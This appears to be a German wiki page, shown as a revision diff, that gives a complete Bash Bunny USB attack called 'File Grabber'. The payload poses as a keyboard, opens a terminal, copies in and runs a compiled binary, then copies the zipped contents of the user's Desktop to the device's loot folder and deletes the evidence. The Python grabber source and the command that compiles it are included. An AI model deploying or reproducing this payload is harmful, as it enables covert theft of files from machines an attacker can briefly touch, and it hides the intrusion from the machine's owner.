File Grabber: Unterschied zwischen den Versionen

Aus xinux.net
Zur Navigation springen Zur Suche springen
 
Zeile 68: Zeile 68:
 
=Compile the Python Programm to Exutable=
 
=Compile the Python Programm to Exutable=
 
*nuitka3 --standalone --onefile /home/user/Downloads/File_Grabber.py
 
*nuitka3 --standalone --onefile /home/user/Downloads/File_Grabber.py
 +
=Result=
 +
*File_Grabber.bin

Aktuelle Version vom 27. September 2021, 07:19 Uhr


#!/bin/bash
#
# Title:         Linux File Grabber
# Author:        Åre
# Version:       1
#
# Runs a script that Grabbing Files to Bunny Bash DIR
#
# Magenta..................Setup
# Yellow single blink......Executing
# Green....................Finished
# Start Setup
LED SETUP
# Gets Switch Position
GET SWITCH_POSITION

# Set Attack Mode
ATTACKMODE HID STORAGE

# Get the switch position
GET SWITCH_POSITION

# Open a terminal
Q CTRL-ALT t

# Wait for terminal to open
sleep 1
LED M QUIN
# Copy script to User Dir
Q STRING "cp \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/payloads/$SWITCH_POSITION/File_Grabber.bin ~"
Q ENTER
sleep 3
Q STRING "chmod +x ~/File_Grabber.bin && ~/File_Grabber.bin" 
Q ENTER
sleep 10
# Copy Grabbed Files to Bash Bunny/loot/
Q STRING "cp ~/Grabbed.zip \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/loot/"
Q ENTER
sleep 3
# Remove all used Files 
Q STRING "rm -r ~/File_Grabber.bin"
Q ENTER
sleep 3
Q STRING "rm -r ~/Grabbed.zip"
Q ENTER 

# Quit the terminal
LED CLEANUP
Q STRING exit
Q ENTER
LED FINISH
ATTACKMODE OFF

import os
import zipfile
def createZIP(folder,filename,compress = zipfile.ZIP_DEFLATED):
   with zipfile.ZipFile(filename + '.zip', 'w', compress) as target:
       for root, dirs, files in os.walk(folder):
           for file in files:
               add = os.path.join(root, file)
               # Datei zum ZIP Archive Hinzufügen
               target.write(add)
               print(add + ' wurde Hinzugefügt')
createZIP(f"{os.getcwd()}/Schreibtisch","Grabbed")

Compile the Python Programm to Exutable

  • nuitka3 --standalone --onefile /home/user/Downloads/File_Grabber.py

Result

  • File_Grabber.bin